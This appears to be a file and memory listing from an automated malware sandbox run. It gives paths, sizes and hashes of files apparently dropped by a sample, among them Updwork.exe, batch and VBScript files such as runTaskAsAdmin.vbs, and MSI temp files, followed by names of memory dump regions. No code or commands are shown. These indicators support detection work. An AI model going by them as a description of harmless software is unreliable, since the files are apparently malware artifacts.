MD5 SHA1 SHA512 SSDEEP

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zlib1.dll

Path C:\Users\Admin\AppData\Local\Temp\RaftelibeGarss\zlib1.dll
Size 363KB
SHA256 a91f13aece1ea7ebe326f0e340bda9d00613d3365cd81b7f138a4c9446ffbd38
MD5 3ca940e27e87443f7891d39536650f9b
SHA1 2603ff220c43f13591a51abb0cf339aecb758207
SHA512 0c0e04cbb8247f6dfe0790d1c3453596e3cb5f5ff0d2c3bc4e01fb38ad8e042322130072263c135c5637a745ef70ac68487bdade3510990ce8f609cad46566ee
SSDEEP 6144:HmkM9O5geNqoeWzPKclTBjAadj2BnEMbFmWuxTrA3a0UJYLuO5eJzm6LR6KrI3:9M9O5geNMBclTNAad6BnRm95AK1JY6a1
MD5 SHA1 SHA512 SSDEEP

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Updwork.exe

Path C:\Users\Admin\AppData\Local\Temp\Updwork.exe
Size 494KB
SHA256 7d57b704dd881413e7ee2effb3d85bdfff1e208b0f3f745419e640930d9d339d
MD5 253c52411b256e4af301cba58dcb6cef
SHA1 f21252c959b9eb47cd210f41b997cf598612d7c9
SHA512 40de728edae55f97ac9459cf78bbc31b38e8b59bdb7a74fbd9e09d7efd2a81b1dc5fd8011007c66efb58e850f1c57d099ec340aecd62911d6aebf2e70d1275d0
SSDEEP 6144:n7eZ+haXoavdfm10f4MS1djcX6Sc+B/b+XdNUaMkfxnMfJYLuO1CJzy6LR6KrI1O:78+haL5miiB8c+BEUaMuGJY64wzRprB
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_enlayh4y.32l.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_enlayh4y.32l.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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audiogram.tif

Path C:\Users\Admin\AppData\Local\Temp\audiogram.tif
Size 877KB
SHA256 ed1389002cdf96c9b54de35b6e972166ee3296d628943fd594a383e674c5cba6
MD5 5124236fd955464317fbb1f344a1d2f2
SHA1 fe3a91e252f1dc3c3b4980ade7157369ea6f5097
SHA512 2b2ac23244b16f936ef9a4049586f58c809fcc4391a56390cc5db2e8d96140001e0b977680ed1d8b0ab9c410e865a880209e22add8d42e563dc40bc91236b252
SSDEEP 24576:huxSUG0FCq7vlCaw416/GCvEowni/F9jXR54:MRJFCq7vl6zdj2
MD5 SHA1 SHA512 SSDEEP

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http_dll.dll

Path C:\Users\Admin\AppData\Local\Temp\http_dll.dll
Size 883KB
SHA256 55497a3eced5d8d190400bcd1a4b43a304ebf74a0d6d098665474ed4b1b0e9da
MD5 4366cd6c5d795811822b9ccc3df3eab4
SHA1 30f6050729b4c08b7657454cb79dd5a3d463c606
SHA512 4a56a2da7ded16125c2795d5760c7c08a93362536c9212cff3a31dbf6613cb3fca436efd77c256338f5134da955bc7ccc564b4af0c45ac0dfd645460b922a349
SSDEEP 12288:CouStsPOf+YVeAVWiqnm5dVjPiqW95XZxByK0Dp:CouStsPOf+2nVWiqnm5dVjPiV95xyKGp
MD5 SHA1 SHA512 SSDEEP

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s.txt

Path C:\Users\Admin\AppData\Local\Temp\s.txt
Size 1B
SHA256 8e35c2cd3bf6641bdb0e2050b76932cbb2e6034a0ddacc1d9bea82a6ba57f7cf
MD5 7694f4a66316e53c8cdd9d9954bd611d
SHA1 22ea1c649c82946aa6e479e1ffd321e4a318b1b0
SHA512 2e96772232487fb3a058d58f2c310023e07e4017c94d56cc5fae4b54b44605f42a75b0b1f358991f8c6cbe9b68b64e5b2a09d0ad23fcac07ee9a9198a745e1d5
MD5 SHA1 SHA512

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lola.bat

Path C:\Users\Admin\AppData\Local\Temp\updt\lola.bat
Size 1KB
SHA256 21b802db9fe353cb25f8f9c0a9614d021f4b5ea9c8e8d4c470eb2ebe5a206efb
MD5 4e5e270b5b37fffcf5ff34ddfd3ccad7
SHA1 8293764715345aa9bd3112f0f7a0b803c9fdc5af
SHA512 f0e32f413f48afe8ba321f7e035b0d754b387fd729e60774d06d7de46f756cc56432f6b861488aef6aa63a60590824962cdc994ba90bc89a44b585df2c23ed4c
MD5 SHA1 SHA512

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runTaskAsAdmin.vbs

Path C:\Users\Admin\AppData\Local\Temp\updt\runTaskAsAdmin.vbs
Size 659B
SHA256 cb7294f1c425ad49aa0e487d36cfb580c303db25d1f69ea3fa08d81d29fc21ba
MD5 94d85f8f350a1f6fe8e700b87f5b4eea
SHA1 0dc9e11c55b3e056eeadb9cfe6ef2b6bd98300ea
SHA512 0226c2662e4d6d2f473f075e8d200d55a3b18deacb40365450866039dafeb206ed6ea9216149d1ac5f1a19e8f185381b796d7f4fa3bb08c4558b6b292838e9c5
MD5 SHA1 SHA512

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secondaryTask.vbs

Path C:\Users\Admin\AppData\Local\Temp\updt\secondaryTask.vbs
Size 876B
SHA256 23723f9b4239194a21bf0df559f9e9df8aec1399899346311c09cdcd91a9f1b0
MD5 183d51767fe58e2bd256688315d25709
SHA1 2c0f959b61081a10a085ad8e8f8741a69e2d9934
SHA512 f5c06582247afab9d6f3c60b62334ed93d4ee7e447b0299e8959dbec5620def6fb1a8ea17e3c3537b4e7ff2c6661b5396e78e1688ec6267076b01068572e76ed
MD5 SHA1 SHA512

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task.vbs

Path C:\Users\Admin\AppData\Local\Temp\updt\task.vbs
Size 2KB
SHA256 d88e84ec97091ad59b8ce69b5c678e210514bde7f880f6e72367cefc35053c9c
MD5 c8be5f9ad4d51e45019e4b7471281257
SHA1 0b6b9cc0495bc9f67ecf2299657b380b256f1611
SHA512 bde94e0cf77a407a8cbd24c8f79d961c6858c336cac8a5809178f7f62bf2749fe75715ab69183855c98c1dae2936a949e215c6a775c48b2d73d76bcd9bce68ce
MD5 SHA1 SHA512

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MSI141F.tmp

Path C:\Windows\Installer\MSI141F.tmp
Size 3.4MB
SHA256 6ed0c218b751ec93293b5922e783b7a9b147a3c7cd6070022cd707050108d321
MD5 6f92f923d8f87afe5fe757ff2ff56951
SHA1 44780713a7026b9b0ff3cadeaffacb3cc3584eca
SHA512 100df666e8c5b4c2e21de703fe7210a41daedf1480e1fe4b7388aa63dd51eccbe46e141a275ef61061c97cf3cd268a129cfd5fa0e290e4525b07915789713f0a
SSDEEP 49152:vm5X8r6F5mCmR+juZZZL+H9IyKficUAG595WpZsNAaudSIuvLZ8:co6wZLSIX6cZGZWUNAaudgZ
MD5 SHA1 SHA512 SSDEEP

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MSID225.tmp

Path C:\Windows\Installer\MSID225.tmp
Size 557KB
SHA256 ff86c76a8d5846b3a1ad58ff2fd8e5a06a84eb5899cdee98e59c548d33335550
MD5 2c9c51ac508570303c6d46c0571ea3a1
SHA1 e3e0fe08fa11a43c8bca533f212bdf0704c726d5
SHA512 df5f1def5aac44f39a2dfde9c6c73f15f83a7374b4ad42b67e425ccb7ac99a64c5701b676ae46d2f7167a04a955158031a839e7878d100aaf8fab0ce2059f127
SSDEEP 6144:j+Sud3L4YgAc8wjVMeKRtGnm3CCRloVywX9gDAOJVafv5khoJQCmR+:j+SuPgAc8+MjGCCslegDTwX5/OCmR+
MD5 SHA1 SHA512 SSDEEP

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MSID42B.tmp

Path C:\Windows\Installer\MSID42B.tmp
Size 1.1MB
SHA256 745de246181eb58f48224e6433c810ffbaa67fba330c616f03a7361fb1edb121
MD5 7768d9d4634bf3dc159cebb6f3ea4718
SHA1 a297e0e4dd61ee8f5e88916af1ee6596cd216f26
SHA512 985bbf38667609f6a422a22af34d9382ae4112e7995f87b6053a683a0aaa647e17ba70a7a83b5e1309f201fc12a53db3c13ffd2b0fad44c1374fff6f07059cbf
SSDEEP 24576:f/MVN/SFo2Cit/I0Rn0rItmncIQy4t0VM+6RRO9qZFTvqPvO6Ezvs5lh:Mv0Rn0rItYcuwwERO9qZFTvqPvO6Ezv8
MD5 SHA1 SHA512 SSDEEP

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ngen.log

Path C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log
Size 156KB
SHA256 c88c4fad6d74c90169117c5694c06ba5f33b09c5ee9a1ad285bc39eccc86bbc2
MD5 8f31cb7a160ee52892f62f3dbdfd1b81
SHA1 8aad6f38e43b4a7fe7d08e82c0659fb6a077a5be
SHA512 740121b8448f7cf80f531e1ec36569177126b8a04f108a83bd5d23eebe86053a194632be325d7ac5989d6297c211315ae2f493ac8ee862a4fbab83c8c44edc7c
SSDEEP 1536:38ILuVIu6pC6KnsTqCcuWSWZ46alImDesKG04Fi6M6/v9YSW+IWaTvKmq+NG2c69:76sAoZXo
MD5 SHA1 SHA512 SSDEEP

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memory/460-154-0x0000000000410000-0x0000000000494000-memory.dmp

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memory/460-149-0x0000000000410000-0x0000000000494000-memory.dmp

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memory/460-159-0x0000000000410000-0x0000000000494000-memory.dmp

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memory/460-156-0x0000000000410000-0x0000000000494000-memory.dmp

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memory/460-153-0x0000000000410000-0x0000000000494000-memory.dmp

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memory/460-158-0x0000000000410000-0x0000000000494000-memory.dmp

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memory/460-157-0x0000000000410000-0x0000000000494000-memory.dmp

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memory/460-143-0x0000000073150000-0x00000000743A4000-memory.dmp

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memory/460-145-0x00007FFE0FC50000-0x00007FFE0FE45000-memory.dmp

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memory/460-146-0x0000000000410000-0x0000000000494000-memory.dmp

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memory/460-155-0x0000000000410000-0x0000000000494000-memory.dmp

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memory/460-150-0x0000000000410000-0x0000000000494000-memory.dmp

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memory/552-121-0x0000000075A50000-0x0000000075BCB000-memory.dmp

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memory/552-136-0x0000000075A50000-0x0000000075BCB000-memory.dmp

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memory/1224-139-0x00007FFE0FC50000-0x00007FFE0FE45000-memory.dmp

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memory/1224-141-0x0000000075A50000-0x0000000075BCB000-memory.dmp

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memory/2240-127-0x0000000000400000-0x0000000000449000-memory.dmp

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memory/3120-122-0x0000000062E80000-0x0000000062EE3000-memory.dmp

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memory/4928-49-0x0000024515620000-0x0000024515642000-memory.dmp

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